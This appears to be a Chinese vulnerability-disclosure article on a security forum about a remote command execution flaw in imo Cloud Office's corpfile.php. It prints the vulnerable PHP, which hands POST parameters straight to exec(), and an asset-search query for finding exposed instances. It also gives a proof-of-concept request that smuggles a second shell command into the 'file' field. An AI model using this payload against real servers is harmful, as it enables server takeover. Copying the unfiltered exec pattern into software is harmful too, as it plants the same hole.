问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
imo 云办公室 corpfile.php 远程命令执行漏洞
# imo 云办公室 corpfile.php 远程命令执行漏洞 ## 漏洞描述 imo 云办公室 corpfile.php 文件中参数过滤不足,导致可以随意进行命令拼接,获取服务器权限 ## 漏洞影响 imo 云办公室...
imo 云办公室 corpfile.php 远程命令执行漏洞 ============================== 漏洞描述 ---- imo 云办公室 corpfile.php 文件中参数过滤不足,导致可以随意进行命令拼接,获取服务器权限 漏洞影响 ---- imo 云办公室 网络测绘 ---- app="iMO-云办公室" 漏洞复现 ---- 登录页面 ![img](https://shs3.b.qianxin.com/butian_public/f574364cafa427afee9ef8ee17da7181950abdc1ecd06.jpg) 漏洞文件 corpfile.php ```javascript <?php define('DELETE_FAILED', '数据不存在,删除失败!'); define('DELETE_SUCCESS', '数据存在,删除成功!'); switch($_POST['type']) { case 'corpLogo': $checkFile = exec('ls ' . $_POST['file']); $result = exec($_POST['command']); echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED))); break; case 'userLogo': $checkFile = exec('ls ' . $_POST['file']); $result = exec($_POST['command']); echo json_encode(array('uid' => $_POST['uid'], 'user_account' => $_POST['user_account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED))); break; case 'corpTemp': $checkFile = exec('ls ' . $_POST['file']); $result = exec($_POST['command']); echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED))); break; case 'chatLog': $checkFile = exec('ls ' . $_POST['file']); $result = exec($_POST['command']); echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED))); break; case 'multiChatLog': $checkFile = exec('ls ' . $_POST['file']); $result = exec($_POST['command']); echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED))); break; case 'groupChatLog': $checkFile = exec('ls ' . $_POST['file']); $result = exec($_POST['command']); echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED))); break; case 'backChatLog': $checkFile = exec('ls ' . $_POST['file']); $result = exec($_POST['command']); echo json_encode(array('cid' => $_POST['cid'], 'account' => $_POST['account'], 'command' => $_POST['command'], 'file' => (($checkFile && !$result) ? DELETE_SUCCESS : DELETE_FAILED))); break; } ``` 验证POC ```javascript POST /corpfile.php type=corpLogo&command=id&file=;pwd>1.txt ``` ![img](https://shs3.b.qianxin.com/butian_public/f481156cce822f6dec1a1f647c2156dff31dd8fdffa47.jpg)
发表于 2024-07-12 18:46:17
阅读 ( 1002 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!